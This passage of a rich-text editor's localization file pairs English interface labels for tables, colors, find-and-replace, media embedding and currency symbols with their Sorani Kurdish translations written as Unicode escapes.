"The URL you entered seems to be an email address. Do you want to add the required mailto: prefix?": "\u0626\u06d5\u0648 \u0628\u06d5\u0633\u062a\u06d5\u0631\u06d5\u06cc \u0646\u0648\u0648\u0633\u06cc\u0648\u062a\u06d5 \u0628\u06d5 \u067e\u06d5\u06cc\u0627\u0645\u06cc \u0626\u06d5\u0644\u06cc\u06a9\u062a\u0695\u06c6\u0646\u06cc \u062f\u06d5\u0686\u06ce\u062a. \u0626\u0627\u06cc\u0627 \u062f\u06d5\u062a\u06d5\u0648\u06ce\u062a mailto: prefix \u06cc \u0628\u06c6 \u0632\u06cc\u0627\u062f \u0628\u06a9\u06d5\u06cc\u062a\u061f",
"The URL you entered seems to be an external link. Do you want to add the required http:\/\/ prefix?": "\u0626\u06d5\u0648 \u0628\u06d5\u0633\u062a\u06d5\u0631\u06d5\u06cc \u0646\u0648\u0648\u0633\u06cc\u0648\u062a\u06d5 \u0628\u06d5 \u0628\u06d5\u0633\u062a\u06d5\u0631\u06cc \u062f\u06d5\u0631\u06d5\u06a9\u06cc \u062f\u06d5\u0686\u06ce\u062a. \u0626\u0627\u06cc\u0627 \u062f\u06d5\u062a\u06d5\u0648\u06ce\u062a http:\/\/ prefix \u06cc \u0628\u06c6 \u0632\u06cc\u0627\u062f \u0628\u06a9\u06d5\u06cc\u062a\u061f",
"Link list": "\u067e\u06ce\u0633\u0631\u062a\u06cc \u0628\u06d5\u0633\u062a\u06d5\u0631",
"Insert video": "\u062e\u0633\u062a\u0646\u06d5\u0646\u0627\u0648\u06cc \u06a4\u06cc\u062f\u06cc\u06c6",
"Insert\/edit video": "\u062e\u0633\u062a\u0646\u06d5\u0646\u0627\u0648\/\u062f\u06d5\u0633\u062a\u06a9\u0627\u0631\u06cc \u06a4\u06cc\u062f\u06cc\u06c6",
"Insert\/edit media": "\u062a\u06ce\u062e\u0633\u062a\u0646\/\u0628\u0698\u0627\u0631\u06a9\u0631\u062f\u0646\u06cc \u06af\u06d5\u06cc\u0627\u0646\u06d5",
"Alternative source": "\u0633\u06d5\u0631\u0686\u0627\u0648\u06d5\u06cc \u062c\u06ce\u06af\u0631\u06d5\u0648\u06d5",
"Alternative source URL": "\u0628\u06d5\u0633\u062a\u06d5\u0631\u06cc \u0633\u06d5\u0631\u0686\u0627\u0648\u06d5\u06cc \u062c\u06ce\u06af\u0631\u06d5\u0648\u06d5",
"Media poster (Image URL)": "\u067e\u06c6\u0633\u062a\u06d5\u0631\u06cc \u06af\u06d5\u06cc\u0627\u0646\u06d5 (\u0628\u06d5\u0633\u062a\u06d5\u0631\u06cc \u0648\u06ce\u0646\u06d5)",
"Paste your embed code below:": "\u06a9\u06c6\u062f\u06cc \u062a\u06ce\u062e\u0633\u062a\u0646\u06d5\u06a9\u06d5\u062a \u0644\u06d5\u062e\u0648\u0627\u0631\u06d5\u0648\u06d5 \u0628\u0644\u06a9\u06ce\u0646\u06d5:",
"Embed": "\u062a\u06ce\u062e\u0633\u062a\u0646",
"Media...": "\u06af\u06d5\u06cc\u0627\u0646\u06d5...",
"Nonbreaking space": "\u0628\u06c6\u0634\u0627\u06cc\u06cc \u0646\u06d5\u0628\u0695\u0627\u0648",
"Page break": "\u0628\u0695\u06cc\u0646\u06cc \u067e\u06d5\u0695\u06d5",
"Paste as text": "\u0644\u06a9\u0627\u0646\u062f\u0646 \u0648\u06d5\u06a9 \u062f\u06d5\u0642",
"Preview": "\u067e\u06cc\u0634\u0627\u0646\u062f\u0627\u0646",
"Print...": "\u0686\u0627\u067e\u06a9\u0631\u062f\u0646...",
"Save": "\u067e\u0627\u0634\u06d5\u06a9\u06d5\u0648\u062a",
"Find": "\u062f\u06c6\u0632\u06cc\u0646\u06d5\u0648\u06d5",
"Replace with": "\u062c\u06ce\u06af\u06c6\u0695\u06cc\u0646 \u0644\u06d5\u06af\u06d5\u06b5",
"Replace": "\u062c\u06ce\u06af\u06c6\u0695\u06cc\u0646",
"Replace all": "\u062c\u06ce\u06af\u06c6\u0695\u06cc\u0646\u06cc \u0647\u06d5\u0645\u0648\u0648",
"Previous": "\u067e\u06ce\u0634\u0648\u0648",
"Next": "\u062f\u0648\u0627\u062a\u0631",
"Find and replace...": "\u062f\u06c6\u0632\u06cc\u0646 \u0648 \u062c\u06ce\u06af\u06c6\u0695\u06cc\u0646...",
"Could not find the specified string.": "\u0695\u06cc\u0632\u0628\u06d5\u0646\u062f\u06cc \u062f\u06cc\u0627\u0631\u06cc\u06a9\u0631\u0627\u0648 \u0646\u0627\u062f\u06c6\u0632\u0631\u06ce\u062a\u06d5\u0648\u06d5.",
"Match case": "\u0647\u0627\u0648\u062a\u0627\u0628\u0648\u0648\u0646\u06cc \u0628\u0627\u0631",
"Find whole words only": "\u062f\u06c6\u0632\u06cc\u0646\u06d5\u0648\u06d5\u06cc \u062a\u06d5\u0646\u06cc\u0627 \u062a\u06d5\u0648\u0627\u0648\u06cc \u0648\u0634\u06d5\u06a9\u0627\u0646",
"Spell check": "\u062a\u0627\u0648\u062a\u0648\u06ce\u06cc \u0695\u06ce\u0646\u0648\u0648\u0633",
"Ignore": "\u0644\u06d5\u0628\u06cc\u0631\u06a9\u0631\u062f\u0646",
"Ignore all": "\u0644\u06d5\u0628\u06cc\u0631\u06a9\u0631\u062f\u0646\u06cc \u0647\u06d5\u0645\u0648\u0648",
"Finish": "\u062a\u06d5\u0648\u0627\u0648",
"Add to Dictionary": "\u0632\u06cc\u0627\u062f\u06a9\u0631\u062f\u0646 \u0628\u06c6 \u0641\u06d5\u0631\u0647\u06d5\u0646\u06af",
"Insert table": "\u062e\u0633\u062a\u0646\u06d5\u0646\u0627\u0648\u06cc \u062e\u0634\u062a\u06d5",
"Table properties": "\u062a\u0627\u06cc\u0628\u0647\u200c\u062a\u0645\u0647\u200c\u0646\u062f\u06cc\u06cc\u06d5\u06a9\u0627\u0646\u06cc \u062e\u0634\u062a\u06d5",
"Delete table": "\u0633\u0695\u06cc\u0646\u06d5\u0648\u06d5\u06cc \u062e\u0634\u062a\u06d5",
"Cell": "\u062e\u0627\u0646\u06d5",
"Row": "\u0695\u06cc\u0632",
"Column": "\u0633\u062a\u0648\u0648\u0646",
"Cell properties": "\u062a\u0627\u06cc\u0628\u0647\u200c\u062a\u0645\u0647\u200c\u0646\u062f\u06cc\u06cc\u06d5\u06a9\u0627\u0646\u06cc \u062e\u0627\u0646\u06d5",
"Merge cells": "\u06cc\u06d5\u06a9\u062e\u0633\u062a\u0646\u06cc \u062e\u0627\u0646\u06d5\u06a9\u0627\u0646",
"Split cell": "\u062c\u06cc\u0627\u06a9\u0631\u062f\u0646\u06d5\u0648\u06d5\u06cc \u062e\u0627\u0646\u06d5",
"Insert row before": "\u062e\u0633\u062a\u0646\u06d5\u0646\u0627\u0648\u06cc \u0695\u06cc\u0632 \u0628\u06c6 \u067e\u06ce\u0634\u062a\u0631",
"Insert row after": "\u062e\u0633\u062a\u0646\u06d5\u0646\u0627\u0648\u06cc \u0695\u06cc\u0632 \u0628\u06c6 \u062f\u0648\u0627\u062a\u0631",
"Delete row": "\u0633\u0695\u06cc\u0646\u06d5\u0648\u06d5\u06cc \u0695\u06cc\u0632",
"Row properties": "\u062a\u0627\u06cc\u0628\u0647\u200c\u062a\u0645\u0647\u200c\u0646\u062f\u06cc\u06cc\u06d5\u06a9\u0627\u0646\u06cc \u0695\u06cc\u0632",
"Cut row": "\u0628\u0695\u06cc\u0646\u06cc \u0695\u06cc\u0632",
"Copy row": "\u0644\u06d5\u0628\u06d5\u0631\u06af\u0631\u062a\u0646\u06d5\u0648\u06d5\u06cc \u0695\u06cc\u0632",
"Paste row before": "\u0644\u06a9\u0627\u0646\u062f\u0646\u06cc \u0695\u06cc\u0632 \u0644\u06d5 \u067e\u06ce\u0634\u062a\u0631",
"Paste row after": "\u0644\u06a9\u0627\u0646\u062f\u0646\u06cc \u0695\u06cc\u0632 \u0644\u06d5 \u062f\u0648\u0627\u062a\u0631",
"Insert column before": "\u062e\u0633\u062a\u0646\u06d5\u0646\u0627\u0648\u06cc \u0633\u062a\u0648\u0648\u0646 \u0628\u06c6 \u067e\u06ce\u0634\u062a\u0631",
"Insert column after": "\u062e\u0633\u062a\u0646\u06d5\u0646\u0627\u0648\u06cc \u0633\u062a\u0648\u0648\u0646 \u0628\u06c6 \u062f\u0648\u0627\u062a\u0631",
"Delete column": "\u0633\u0695\u06cc\u0646\u06d5\u0648\u06d5\u06cc \u0633\u062a\u0648\u0648\u0646",
"Cols": "\u0633\u062a\u0648\u0648\u0646\u06d5\u06a9\u0627\u0646",
"Rows": "\u0695\u06cc\u0632\u06d5\u06a9\u0627\u0646",
"Width": "\u062f\u0631\u06ce\u0698\u06cc",
"Height": "\u0628\u06d5\u0631\u0632\u06cc",
"Cell spacing": "\u0628\u06c6\u0634\u0627\u06cc\u06cc \u062e\u0627\u0646\u06d5",
"Cell padding": "\u0646\u0627\u0648\u067e\u06c6\u0634\u06cc \u062e\u0627\u0646\u06d5",
"Show caption": "\u0646\u06cc\u0634\u0627\u0646\u062f\u0627\u0646\u06cc \u0633\u06d5\u0631\u062f\u06ce\u0695",
"Left": "\u0686\u06d5\u067e",
"Center": "\u0646\u0627\u0648\u06d5\u0695\u0627\u0633\u062a",
"Right": "\u0695\u0627\u0633\u062a",
"Cell type": "\u062c\u06c6\u0631\u06cc \u062e\u0627\u0646\u06d5",
"Scope": "\u0628\u0648\u0627\u0631",
"Alignment": "\u0644\u0627\u06af\u0631\u062a\u0646",
"H Align": "\u0644\u0627\u06af\u0631\u062a\u0646\u06cc \u0626\u0627\u0633\u06c6\u06cc\u06cc",
"V Align": "\u0644\u0627\u06af\u0631\u062a\u0646\u06cc \u0633\u062a\u0648\u0648\u0646\u06cc",
"Top": "\u0633\u06d5\u0631\u06d5\u0648\u06d5",
"Middle": "\u0646\u0627\u0648\u06d5\u0646\u062f",
"Bottom": "\u0698\u06ce\u0631\u06d5\u0648\u06d5",
"Header cell": "\u062e\u0627\u0646\u06d5\u06cc \u0633\u06d5\u0631\u067e\u06d5\u0695\u06d5",
"Row group": "\u06a9\u06c6\u0645\u06d5\u06b5\u06d5 \u0695\u06cc\u0632",
"Column group": "\u06a9\u06c6\u0645\u06d5\u06b5\u06d5 \u0633\u062a\u0648\u0648\u0646",
"Row type": "\u062c\u06c6\u0631\u06cc \u0695\u06cc\u0632",
"Header": "\u0633\u06d5\u0631\u067e\u06d5\u0695\u06d5",
"Body": "\u0646\u0627\u0648\u06d5\u0695\u06c6\u06a9",
"Footer": "\u067e\u06ce\u067e\u06d5\u0695\u06d5",
"Border color": "\u0695\u06d5\u0646\u06af\u06cc \u0633\u0646\u0648\u0648\u0631",
"Insert template...": "\u062a\u06ce\u062e\u0633\u062a\u0646\u06cc \u0642\u0627\u06b5\u0628...",
"Templates": "\u062f\u0627\u0695\u06ce\u0698\u06d5\u06a9\u0627\u0646",
"Template": "\u0642\u0627\u06b5\u0628",
"Text color": "\u0695\u06d5\u0646\u06af\u06cc \u062f\u06d5\u0642",
"Background color": "\u0695\u06d5\u0646\u06af\u06cc \u067e\u0627\u0634\u0628\u0646\u06d5\u0645\u0627",
"Custom...": "\u062f\u0627\u0646\u0631\u0627\u0648...",
"Custom color": "\u0695\u06d5\u0646\u06af\u06cc \u062f\u0627\u0646\u0631\u0627\u0648",
"No color": "\u0628\u06d5\u0628\u06ce \u0695\u06d5\u0646\u06af",
"Remove color": "\u0644\u0627\u0628\u0631\u062f\u0646\u06cc \u0695\u06d5\u0646\u06af",
"Table of Contents": "\u062c\u06d5\u062f\u0648\u06d5\u0644\u06cc \u0646\u0627\u0648\u06d5\u0631\u06c6\u06a9",
"Show blocks": "\u067e\u06cc\u0634\u0627\u0646\u062f\u0627\u0646\u06cc \u0628\u0644\u06c6\u06a9\u06d5\u06a9\u0627\u0646",
"Show invisible characters": "\u067e\u06cc\u0634\u0627\u0646\u062f\u0627\u0646\u06cc \u0646\u0648\u0648\u0633\u06d5 \u0634\u0627\u0631\u0627\u0648\u06d5\u06a9\u0627\u0646",
"Word count": "\u0698\u0645\u0627\u0631\u06d5\u06cc \u0648\u0634\u06d5\u06a9\u0627\u0646",
"Count": "\u0698\u0645\u0627\u0631\u06d5",
"Document": "\u0628\u06d5\u06b5\u06af\u06d5",
"Selection": "\u0647\u06d5\u06b5\u0628\u0698\u0627\u0631\u062f\u0646",
"Words": "\u0648\u0634\u06d5\u06a9\u0627\u0646",
"Words: {0}": "\u0648\u0634\u06d5\u06a9\u0627\u0646: {0}",
"{0} words": "{0} \u0648\u0634\u06d5",
"File": "\u067e\u06d5\u0695\u06af\u06d5",
"Edit": "\u062f\u06d5\u0633\u062a\u06a9\u0627\u0631\u06cc",
"Insert": "\u062e\u0633\u062a\u0646\u06d5\u0646\u0627\u0648",
"View": "\u0628\u06cc\u0646\u06cc\u0646",
"Format": "\u0634\u06ce\u0648\u0627\u0632",
"Table": "\u062e\u0634\u062a\u06d5",
"Tools": "\u0626\u0627\u0645\u0631\u0627\u0632\u06d5\u06a9\u0627\u0646",
"Powered by {0}": "\u0647\u06ce\u0632\u06af\u0631\u062a\u0648\u0648 \u0644\u06d5 {0}",
"Rich Text Area. Press ALT-F9 for menu. Press ALT-F10 for toolbar. Press ALT-0 for help": "\u0646\u0627\u0648\u0686\u06d5\u06cc \u062f\u06d5\u0642\u06cc \u062a\u06d5\u0648\u0627\u0648. ALT-F9 \u062f\u0627\u06af\u0631\u06d5 \u0628\u06c6 \u0644\u06cc\u0633\u062a\u06d5. ALT-F10 \u062f\u0627\u06af\u0631\u06d5 \u0628\u06c6 \u062a\u0648\u0648\u06b5\u0627\u0645\u0631\u0627\u0632. ALT-0 \u062f\u0627\u06af\u0631\u06d5 \u0628\u06c6 \u06cc\u0627\u0631\u0645\u06d5\u062a\u06cc",
"Image title": "\u0633\u06d5\u0631\u062f\u06ce\u0631\u06cc \u0648\u06ce\u0646\u06d5",
"Border width": "\u067e\u0627\u0646\u06cc\u06cc \u0644\u06ce\u0648\u0627\u0631",
"Border style": "\u0634\u06ce\u0648\u0627\u0632\u06cc \u0644\u06ce\u0648\u0627\u0631",
"Error": "\u0647\u06d5\u06b5\u06d5",
"Warn": "\u0647\u06c6\u0634\u06cc\u0627\u0631\u06cc",
"Valid": "\u062f\u0631\u0648\u0633\u062a",
"To open the popup, press Shift+Enter": "\u0628\u06c6 \u06a9\u0631\u062f\u0646\u06d5\u0648\u06d5\u06cc \u067e\u06d5\u0646\u062c\u06d5\u0631\u06d5\u06cc \u0633\u06d5\u0631\u067e\u06d5\u0695\u060c Shift+Enter \u0644\u06ce\u062f\u06d5",
"Rich Text Area. Press ALT-0 for help.": "\u062f\u06d5\u06a4\u06d5\u0631\u06cc \u062f\u06d5\u0642\u06cc \u062f\u06d5\u0648\u06b5\u06d5\u0645\u06d5\u0646\u062f. \u0628\u06c6 \u0695\u06ce\u0646\u0645\u0627\u06cc\u06cc ALT-0 \u0644\u06ce\u062f\u06d5.",
"System Font": "\u0641\u06c6\u0646\u062a\u06cc \u0633\u06cc\u0633\u062a\u0645",
"Failed to upload image: {0}": "\u0628\u0627\u0631\u06a9\u0631\u062f\u0646\u06cc \u0648\u06ce\u0646\u06d5 \u0634\u06a9\u0633\u062a\u06cc \u0647\u06ce\u0646\u0627: {0}",
"Failed to load plugin: {0} from url {1}": "\u0628\u0627\u0631\u06af\u0631\u062a\u0646\u06cc \u067e\u06ce\u0648\u06d5\u06a9\u0631\u0627\u0648 \u0634\u06a9\u0633\u062a\u06cc \u0647\u06ce\u0646\u0627: {0}",
"Failed to load plugin url: {0}": "\u0628\u0627\u0631\u06af\u0631\u062a\u0646\u06cc \u0628\u06d5\u0633\u062a\u06d5\u0631\u06cc \u067e\u06ce\u0648\u06d5\u06a9\u0631\u0627\u0648 \u0634\u06a9\u0633\u062a\u06cc \u0647\u06ce\u0646\u0627: {0}",
"Failed to initialize plugin: {0}": "\u0695\u06ce\u062e\u0633\u062a\u0646\u06cc \u0633\u06d5\u0631\u06d5\u062a\u0627\u06cc\u06cc \u067e\u06ce\u0648\u06d5\u06a9\u0631\u0627\u0648 \u0634\u06a9\u0633\u062a\u06cc \u0647\u06ce\u0646\u0627: {0}",
"example": "\u0646\u0645\u0648\u0648\u0646\u06d5",
"Search": "\u06af\u06d5\u0695\u0627\u0646",
"All": "\u0647\u06d5\u0645\u0648\u0648",
"Currency": "\u062f\u0631\u0627\u0648",
"Text": "\u062f\u06d5\u0642",
"Quotations": "\u0648\u062a\u06d5\u06cc \u06af\u06ce\u0695\u0627\u0648\u06d5",
"Mathematical": "\u0628\u06cc\u0631\u06a9\u0627\u0631\u06cc\u0627\u0646\u06d5",
"Extended Latin": "\u0644\u0627\u062a\u06cc\u0646\u06cc \u067e\u06d5\u0631\u06d5\u067e\u06ce\u062f\u0631\u0627\u0648",
"Symbols": "\u0646\u06cc\u0634\u0627\u0646\u06d5\u06a9\u0627\u0646",
"Arrows": "\u062a\u06cc\u0631\u0646\u06cc\u0634\u0627\u0646\u06d5\u06a9\u0627\u0646",
"User Defined": "\u062f\u06cc\u0627\u0631\u06cc\u06a9\u0631\u0627\u0648\u06cc \u0628\u06d5\u06a9\u0627\u0631\u0647\u06ce\u0646\u06d5\u0631",
"dollar sign": "\u0646\u06cc\u0634\u0627\u0646\u06cc \u062f\u06c6\u0644\u0627\u0631",
"currency sign": "\u0646\u06cc\u0634\u0627\u0646\u06cc \u062f\u0631\u0627\u0648",
"euro-currency sign": "\u0646\u06cc\u0634\u0627\u0646\u06cc \u062f\u0631\u0627\u0648\u06cc \u06cc\u06c6\u0631\u06c6",
"colon sign": "\u0646\u06cc\u0634\u0627\u0646\u06cc \u062c\u0648\u0648\u062a\u062e\u0627\u06b5",
"cruzeiro sign": "\u0646\u06cc\u0634\u0627\u0646\u06cc \u06a9\u0631\u0648\u0648\u0632\u06cc\u0631\u06c6",
"french franc sign": "\u0646\u06cc\u0634\u0627\u0646\u06cc \u0641\u0631\u0627\u0646\u06a9\u06cc \u0641\u06d5\u0695\u06d5\u0646\u0633\u0627",
"lira sign": "\u0646\u06cc\u0634\u0627\u0646\u06cc \u0644\u06cc\u0631\u06d5",
"mill sign": "\u0646\u06cc\u0634\u0627\u0646\u06cc \u0645\u06cc\u0644",
"naira sign": "\u0646\u06cc\u0634\u0627\u0646\u06cc \u0646\u0627\u06cc\u0631\u0627",
"peseta sign": "\u0646\u06cc\u0634\u0627\u0646\u06cc \u067e\u06ce\u0633\u06ce\u062a\u0627",
"rupee sign": "\u0646\u06cc\u0634\u0627\u0646\u06cc \u0695\u0648\u0648\u067e\u06cc\u06d5",
"won sign": "\u0646\u06cc\u0634\u0627\u0646\u06cc \u0648\u06c6\u0646",
"new sheqel sign": "\u0646\u06cc\u0634\u0627\u0646\u06cc \u0646\u0648\u06ce\u06cc \u0634\u06ce\u06a9\u06ce\u0644",
"dong sign": "\u0646\u06cc\u0634\u0627\u0646\u06cc \u062f\u06c6\u0646\u06af",
"kip sign": "\u0646\u06cc\u0634\u0627\u0646\u06cc \u06a9\u06cc\u067e",
"tugrik sign": "\u0646\u06cc\u0634\u0627\u0646\u06cc \u062a\u0648\u06af\u0631\u0648\u06af",
"drachma sign": "\u0646\u06cc\u0634\u0627\u0646\u06cc \u062f\u0631\u0627\u062e\u0645\u0627",
"german penny symbol": "\u0646\u06cc\u0634\u0627\u0646\u06cc \u067e\u06ce\u0646\u06cc\u06cc \u0626\u06d5\u06b5\u0645\u0627\u0646\u06cc",
"peso sign": "\u0646\u06cc\u0634\u0627\u0646\u06cc \u067e\u06ce\u0633\u06c6",
"guarani sign": "\u0646\u06cc\u0634\u0627\u0646\u06cc \u06af\u0648\u0627\u0631\u0627\u0646\u06cc",
"austral sign": "\u0646\u06cc\u0634\u0627\u0646\u06cc \u0626\u0627\u0648\u0633\u062a\u0631\u0627\u0644",
"hryvnia sign": "\u0646\u06cc\u0634\u0627\u0646\u06cc \u06af\u0631\u06cc\u06a4\u0646\u06cc\u0627",
"cedi sign": "\u0646\u06cc\u0634\u0627\u0646\u06cc \u0633\u06ce\u062f\u06cc",
"livre tournois sign": "\u0646\u06cc\u0634\u0627\u0646\u06cc \u0644\u06cc\u06a4\u0631\u06ce \u062a\u0648\u0631\u0646\u06c6\u06cc\u0633",
"spesmilo sign": "\u0646\u06cc\u0634\u0627\u0646\u06cc \u0633\u067e\u06ce\u0633\u0645\u0627\u06cc\u06b5\u06c6",
"tenge sign": "\u0646\u06cc\u0634\u0627\u0646\u06cc \u062a\u06ce\u0646\u062c",
"indian rupee sign": "\u0646\u06cc\u0634\u0627\u0646\u06cc \u0695\u0648\u0648\u067e\u06cc\u06d5\u06cc \u0647\u0646\u062f\u06cc",
"turkish lira sign": "\u0646\u06cc\u0634\u0627\u0646\u06cc \u0644\u06cc\u0631\u06d5\u06cc \u062a\u0648\u0631\u06a9",
"nordic mark sign": "\u0646\u06cc\u0634\u0627\u0646\u06cc \u0645\u0627\u0631\u06a9\u06cc \u0646\u06c6\u0631\u0648\u06cc\u0698",
"manat sign": "\u0646\u06cc\u0634\u0627\u0646\u06cc \u0645\u06d5\u0646\u0627\u062a",
"ruble sign": "\u0646\u06cc\u0634\u0627\u0646\u06cc \u0695\u0648\u0648\u0628\u06b5",
"yen character": "\u0646\u0648\u0648\u0633\u06d5\u06cc \u06cc\u06ce\u0646",
"yuan character": "\u0646\u0648\u0648\u0633\u06d5\u06cc \u06cc\u0648\u0627\u0646",
"yuan character, in hong kong and taiwan": "\u0646\u06cc\u0634\u0627\u0646\u06cc \u06cc\u0648\u0627\u0646\u060c \u0644\u06d5 \u0647\u06c6\u0646\u06af \u06a9\u06c6\u0646\u06af \u0648 \u062a\u0627\u06cc\u0648\u0627\u0646",
"yen\/yuan character variant one": "\u0646\u0648\u0648\u0633\u06d5\u06cc \u062c\u06ce\u06af\u0631\u06cc \u06cc\u06ce\u0646\/\u06cc\u0648\u0627\u0646",
"Loading emoticons...": "\u062e\u06d5\u0631\u06cc\u06a9\u06cc \u0628\u0627\u0631\u06af\u0631\u062a\u0646\u06cc \u067e\u06ce\u06a9\u06d5\u0646\u06c6\u06a9\u06d5\u06a9\u0627\u0646...",
"Could not load emoticons": "\u0646\u0627\u062a\u0648\u0627\u0646\u0631\u06ce \u067e\u06ce\u06a9\u06d5\u0646\u06c6\u06a9\u06d5\u06a9\u0627\u0646 \u0628\u0627\u0631 \u0628\u06af\u06cc\u0631\u06ce",
"People": "\u062e\u06d5\u06b5\u06a9",
"Animals and Nature": "\u0626\u0627\u0698\u06d5\u06b5 \u0648 \u0633\u0631\u0648\u0634\u062a",
"Food and Drink": "\u0686\u06ce\u0634\u062a \u0648 \u062e\u0648\u0627\u0631\u062f\u0646",
"Activity": "\u0686\u0627\u0644\u0627\u06a9\u06cc",
"Travel and Places": "\u0633\u06d5\u0641\u06d5\u0631 \u0648 \u0634\u0648\u06ce\u0646\u06d5\u06a9\u0627\u0646",
"Objects": "\u0634\u062a\u06d5\u06a9\u0627\u0646",
"Flags": "\u0626\u0627\u06b5\u0627\u06a9\u0627\u0646",
"Characters": "\u0646\u0648\u0648\u0633\u06d5\u06a9\u0627\u0646",
"Characters (no spaces)": "\u0646\u0648\u0648\u0633\u06d5\u06a9\u0627\u0646 (\u0628\u06d5\u0628\u06ce \u0628\u06c6\u0634\u0627\u06cc\u06cc)",
"{0} characters": "{0} \u0646\u0648\u0648\u0633\u06d5",
"Error: Form submit field collision.": "\u0647\u06d5\u06b5\u06d5: \u062a\u06ce\u06a9\u0686\u0648\u0648\u0646\u06cc \u0646\u0627\u0631\u062f\u0646\u06cc \u0641\u06c6\u0631\u0645.",
"Error: No form element found.": "\u0647\u06d5\u06b5\u06d5: \u0647\u06cc\u0686 \u0639\u0648\u0646\u0633\u0648\u0631\u06ce\u06a9\u06cc \u0641\u06c6\u0631\u0645 \u0646\u06d5\u062f\u06c6\u0632\u0631\u0627\u06cc\u06d5\u0648\u06d5.",
"Update": "\u0695\u06c6\u0698\u0627\u0646\u06d5\u06a9\u0631\u062f\u0646",
"Color swatch": "\u0646\u0645\u0648\u0648\u0646\u06d5 \u0695\u06d5\u0646\u06af",
"Turquoise": "\u067e\u06cc\u0631\u06c6\u0632\u06d5\u06cc\u06cc",
"Green": "\u0633\u06d5\u0648\u0632",
"Blue": "\u06a9\u06d5\u0648\u06d5",
"Purple": "\u0645\u06c6\u0631",
"Navy Blue": "\u0633\u0648\u0631\u0645\u06d5\u06cc\u06cc",
"Dark Turquoise": "\u067e\u06cc\u0631\u06c6\u0632\u06d5\u06cc\u06cc \u062a\u0627\u0631\u06cc\u06a9",
"Dark Green": "\u0633\u06d5\u0648\u0632\u06cc \u062a\u0627\u0631\u06cc\u06a9",
"Medium Blue": "\u06a9\u06d5\u0648\u06d5\u06cc \u0645\u0627\u0645\u0646\u0627\u0648\u06d5\u0646\u062f",
"Medium Purple": "\u0645\u06c6\u0631\u06cc \u0645\u0627\u0645\u0646\u0627\u0648\u06d5\u0646\u062f",
"Midnight Blue": "\u06a9\u06d5\u0648\u06d5\u06cc \u0646\u06cc\u0648\u06d5\u0634\u06d5\u0648",
"Yellow": "\u0632\u06d5\u0631\u062f",
"Orange": "\u067e\u0631\u062a\u06d5\u0642\u0627\u06b5\u06cc",
"Red": "\u0633\u0648\u0648\u0631",
"Light Gray": "\u0628\u06c6\u0631\u06cc \u06a9\u0627\u06b5",
"Gray": "\u0628\u06c6\u0631",
"Dark Yellow": "\u0632\u06d5\u0631\u062f\u06cc \u062a\u0627\u0631\u06cc\u06a9",
"Dark Orange": "\u067e\u0631\u062a\u06d5\u0642\u0627\u06b5\u06cc\u06cc \u062a\u0627\u0631\u06cc\u06a9",
"Dark Red": "\u0633\u0648\u0648\u0631\u06cc \u062a\u0627\u0631\u06cc\u06a9",
"Medium Gray": "\u0628\u06c6\u0631\u06cc \u0645\u0627\u0645\u0646\u0627\u0648\u06d5\u0646\u062f",
"Dark Gray": "\u0628\u06c6\u0631\u06cc \u062a\u0627\u0631\u06cc\u06a9",
"Light Green": "\u0633\u06d5\u0648\u0632\u06cc \u06a9\u0627\u06b5",
"Light Yellow": "\u0632\u06d5\u0631\u062f\u06cc \u06a9\u0627\u06b5",
"Light Red": "\u0633\u0648\u0648\u0631\u06cc \u06a9\u0627\u06b5",
"Light Purple": "\u0645\u06c6\u0631\u06cc \u06a9\u0627\u06b5",
"Light Blue": "\u06a9\u06d5\u0648\u06d5\u06cc \u06a9\u0627\u06b5",
"Dark Purple": "\u0645\u06c6\u0631\u06cc \u062a\u0627\u0631\u06cc\u06a9",
"Dark Blue": "\u06a9\u06d5\u0648\u06d5\u06cc \u062a\u0627\u0631\u06cc\u06a9",
"Black": "\u0695\u06d5\u0634",
"White": "\u0633\u067e\u06cc",
"Switch to or from fullscreen mode": "\u06af\u06c6\u0695\u06cc\u0646 \u0644\u06d5 \u06cc\u0627\u0646 \u0628\u06c6 \u062d\u0627\u06b5\u06d5\u062a\u06cc \u067e\u0695\u062f\u06cc\u0645\u06d5\u0646",
"Open help dialog": "\u06a9\u0631\u062f\u0646\u06d5\u0648\u06d5\u06cc \u0648\u062a\u0648\u0648\u06ce\u0698\u06cc \u06cc\u0627\u0631\u0645\u06d5\u062a\u06cc",
"history": "\u0645\u06ce\u0698\u0648\u0648",
"styles": "\u0634\u06ce\u0648\u06d5\u06a9\u0627\u0646",
"formatting": "\u0634\u06ce\u0648\u06d5\u067e\u06ce\u062f\u0627\u0646",
"alignment": "\u0644\u0627\u06af\u0631\u062a\u0646",
"indentation": "\u0646\u0627\u0648\u0648\u06d5\u0686\u0648\u0648\u0646",
"permanent pen": "\u067e\u06ce\u0646\u0648\u0648\u0633\u06cc \u0647\u06d5\u0645\u06cc\u0634\u06d5\u06cc\u06cc",
"comments": "\u0628\u06c6\u0686\u0648\u0648\u0646\u06d5\u06a9\u0627\u0646",
"Format Painter": "\u0646\u06cc\u06af\u0627\u0631\u06a9\u06ce\u0634\u06cc \u0634\u06ce\u0648\u0627\u0632",
"Insert\/edit iframe": "\u062a\u06ce\u062e\u0633\u062a\u0646\/\u0628\u0698\u0627\u0631\u06a9\u0631\u062f\u0646\u06cc \u0626\u0627\u06cc\u0641\u0631\u06d5\u06cc\u0645",
"Capitalization": "\u062d\u06d5\u0631\u0641\u06d5 \u06af\u06d5\u0648\u0631\u06d5\u06a9\u0627\u0646",
"lowercase": "\u062d\u06d5\u0631\u0641\u06cc \u0628\u0686\u0648\u0648\u06a9",
"UPPERCASE": "\u062d\u06d5\u0631\u0641\u06cc \u06af\u06d5\u0648\u0631\u06d5",
"Title Case": "\u062d\u06d5\u0631\u0641\u06d5 \u0633\u06d5\u0631\u062f\u06ce\u0631\u06cc\u06cc\u06d5\u06a9\u0627\u0646",
"Permanent Pen Properties": "\u062a\u0627\u06cc\u0628\u06d5\u062a\u0645\u06d5\u0646\u062f\u06cc\u06cc\u06d5\u06a9\u0627\u0646\u06cc \u067e\u06ce\u0646\u0648\u0648\u0633\u06cc \u0647\u06d5\u0645\u06cc\u0634\u06d5\u06cc\u06cc",
"Permanent pen properties...": "\u062a\u0627\u06cc\u0628\u06d5\u062a\u0645\u06d5\u0646\u062f\u06cc\u06cc\u06d5\u06a9\u0627\u0646\u06cc \u067e\u06ce\u0646\u0648\u0648\u0633\u06cc \u0647\u06d5\u0645\u06cc\u0634\u06d5\u06cc\u06cc...",
"Font": "\u0641\u06c6\u0646\u062a",
"Size": "\u0626\u06d5\u0646\u062f\u0627\u0632\u06d5",
"More...": "\u0632\u06cc\u0627\u062a\u0631...",
